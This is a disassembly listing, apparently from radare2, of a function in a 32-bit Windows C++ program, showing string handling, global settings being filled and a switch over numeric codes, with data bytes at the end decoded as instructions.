mov eax, dword [ebp - 0x1dc]
push 0xa
push 0
sub esp, 0x18
add eax, 0x60
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x1b0]
push eax
call fcn.0040f0c0
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x26
call fcn.0040b570
add esp, 0xc
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.0040b650
mov esi, eax
add esp, 8
cmp esi, 0x47343c
je 0x40775e
mov ecx, 0x47343c
call fcn.004014e0
movups xmm0, xmmword [esi]
movups xmmword [0x47343c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x47344c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea ecx, [ebp - 0x48]
call fcn.004014e0
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 4], 0x23
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x78
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.0040f0c0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x27
jb 0x4077a3
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4077a8
sub ecx, esi
push ecx
push edx
mov ecx, 0x473424
call fcn.004028c0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x23
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x90
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.0040f0c0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x28
jb 0x4077f9
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407800
sub ecx, esi
push ecx
push edx
mov ecx, 0x4733f4
call fcn.004028c0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x23
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
cmp dword [eax + 0xb8], 0
je 0x4078bd
sub esp, 0x18
mov word [ebp - 0x1d0], 0x7c
mov ecx, esp
mov dword [ebp - 0x2c], esp
lea eax, [ebp - 0x1c9]
mov dword [ebp - 0x1e0], ecx
mov byte [ebp - 0x1ce], 0
push eax
lea eax, [ebp - 0x1cf]
push eax
lea eax, [ebp - 0x1d0]
push eax
call fcn.004037e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
mov esi, esp
mov byte [ebp - 4], 0x29
sub esp, 0x18
add eax, 0xa8
mov ecx, esp
push eax
call fcn.00402120
push esi
call fcn.0040f0c0
add esp, 0x1c
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x64]
push eax
call fcn.0040b260
add esp, 0x34
mov ecx, 0x473454
push eax
call fcn.004054d0
lea ecx, [ebp - 0x64]
call fcn.00407e60
mov eax, dword [ebp - 0x1dc]
cmp dword [eax + 0xd0], 0
je 0x40795f
sub esp, 0x18
mov word [ebp - 0x1d0], 0x7c
mov ecx, esp
mov dword [ebp - 0x2c], esp
lea eax, [ebp - 0x1c9]
mov dword [ebp - 0x1e0], ecx
mov byte [ebp - 0x1ce], 0
push eax
lea eax, [ebp - 0x1cf]
push eax
lea eax, [ebp - 0x1d0]
push eax
call fcn.004037e0
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
mov esi, esp
mov byte [ebp - 4], 0x2a
sub esp, 0x18
add eax, 0xc0
mov ecx, esp
push eax
call fcn.00402120
push esi
call fcn.0040f0c0
add esp, 0x1c
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x64]
push eax
call fcn.0040b260
add esp, 0x34
mov ecx, 0x473460
push eax
call fcn.004054d0
lea ecx, [ebp - 0x64]
call fcn.00407e60
mov eax, dword [ebp - 0x1dc]
mov dword [0x47349c], 0xf018b3
jmp 0x407969
mov dword [0x47349c], 0
push 0xa
push 0
sub esp, 0x18
add eax, 0x108
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.0040f0c0
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x2b
call fcn.0040b570
add esp, 0xc
mov dword [0x4734a0], eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x23
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
cmp dword [eax + 0x130], 0
lea edx, [eax + 0x120]
je 0x407a0d
sub esp, 0x18
mov ecx, esp
push edx
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.0040f0c0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x2c
jb 0x4079e1
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4079e6
sub ecx, esi
push ecx
push edx
mov ecx, 0x473484
call fcn.004028c0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x23
call fcn.004014e0
mov eax, dword [ebp - 0x1dc]
add eax, 0x138
cmp dword [eax + 0x10], 0
je 0x407a63
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.0040f0c0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x2d
jb 0x407a3d
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407a42
sub ecx, esi
push ecx
push edx
mov ecx, 0x47346c
call fcn.004028c0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x23
call fcn.004014e0
lea eax, [ebp - 0x48]
mov byte [0x4734a4], 1
push eax
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x353d210e
mov word [ebp - 0x28], 0x100
call fcn.00405550
mov esi, eax
cmp esi, 0x4734a8
je 0x407abf
mov ecx, 0x4734a8
call fcn.004014e0
movups xmm0, xmmword [esi]
movups xmmword [0x4734a8], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x4734b8], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea ecx, [ebp - 0x48]
call fcn.004014e0
jmp 0x407ad0
mov byte [0x4734a5], 1
mov eax, dword [ebp - 0xc4]
cmp eax, 0x10
jb 0x4067cc
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x407b02
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x407b02
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edi
call fcn.0045aae6
add esp, 8
lea ecx, [ebp - 0x1dc]
call fcn.00407e60
jmp 0x407d72
lea ecx, [ebp - 0x1dc]
mov byte [0x4734a4], 1
call fcn.00407e60
jmp 0x407d72
mov eax, dword [ebp - 0x1dc]
sub esp, 0x18
add eax, 0x18
mov byte [0x4734a4], 1
mov ecx, esp
mov byte [0x4735ac], 1
push eax
call fcn.00402120
lea eax, [ebp - 0x48]
push eax
call fcn.0040f0c0
add esp, 0x1c
mov ecx, 0x4735c8
push eax
call fcn.00405460
lea ecx, [ebp - 0x48]
call fcn.004014e0
lea ecx, [ebp - 0x1dc]
call fcn.00407e60
jmp 0x407d72
cmp eax, 0xbbd
jg 0x407cb5
je 0x407c6c
cmp eax, 0x41c
jg 0x407c65
je case.0x406819.701
sub eax, 0x3e9
je case.0x406819.637
sub eax, 0xa
jne case.0x406819.637
push 0x473610
lea ecx, [ebp - 0xc0]
call fcn.00402120
cmp dword [0x47363c], 0x10
lea eax, [ebp - 0xc0]
push dword [0x473638]
mov ecx, 0x473628
cmovae ecx, dword [0x473628]
cmp dword [ebp - 0xac], 0x10
push ecx
cmovae eax, dword [ebp - 0xc0]
push dword [ebp - 0xb0]
push eax
call fcn.004040f0
add esp, 0x10
mov byte [ebp - 0x1c9], al
lea ecx, [ebp - 0xc0]
call fcn.004014e0
cmp byte [ebp - 0x1c9], 0
jne 0x4067ab
mov edx, dword [ebp - 0x1dc]
add edx, 0x18
mov byte [0x4734a4], 0
cmp dword [edx + 0x14], 0x10
jb 0x407c39
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407c40
sub ecx, esi
push ecx
push edx
mov ecx, 0x4734c0
call fcn.004028c0
lea ecx, [ebp - 0x1dc]
call fcn.00407e60
jmp 0x407d72
cmp eax, 0xbbc
jne case.0x406819.637
mov edx, dword [ebp - 0x1dc]
add edx, 0x18
mov byte [0x4734a4], 0
cmp dword [edx + 0x14], 0x10
jb 0x407c84
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407c90
sub ecx, esi
push ecx
push edx
mov ecx, 0x4734c0
call fcn.004028c0
lea ecx, [ebp - 0x1dc]
call fcn.00407e60
jmp 0x407d72
cmp eax, 0xd1f
je 0x4067ab
cmp eax, 0x19b4
je 0x407d0a
cmp eax, 0x2719
je 0x407cda
mov byte [0x4734a4], 0
jmp 0x4067ab
lea ecx, [ebp - 0x68]
mov byte [0x4734a4], 0
mov dword [ebp - 0x68], 0x353b2004
mov dword [ebp - 0x64], 0x38323c23
mov dword [ebp - 0x60], 0x2a251375
mov dword [ebp - 0x5c], 0x1002836
call fcn.00408910
jmp 0x4067bc
lea ecx, [ebp - 0x1dc]
mov word [0x4734a4], 0x100
call fcn.00407e60
jmp 0x407d72
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.0045aaf4
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push str.invalid_stoi_argument
call sub.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const__
push str.stoi_argument_out_of_range
call sub.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const__
call fcn.00401460
nop dword [eax]
xor edi, dword [ebx + 0x40]
add byte [eax], ah
push 0x74b40040
inc eax
add byte [esi + 0x1c00407b], dh
jnp 0x407dff
add dh, cl
jl 0x407e03
add byte [eax], al
add eax, 0x5050505
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 33621253
add eax, 84215045
add eax, 50660613
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84148997
add eax, 0x5050505
add eax, 84215043
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 50660613
add al, 5
add eax, 0x5050305
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, dword [eax + 67437829]
add eax, dword [84215045]
add eax, 0x3040505
add eax, 84215045
add eax, 0x5050505
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 84215045
add eax, 50660613
int3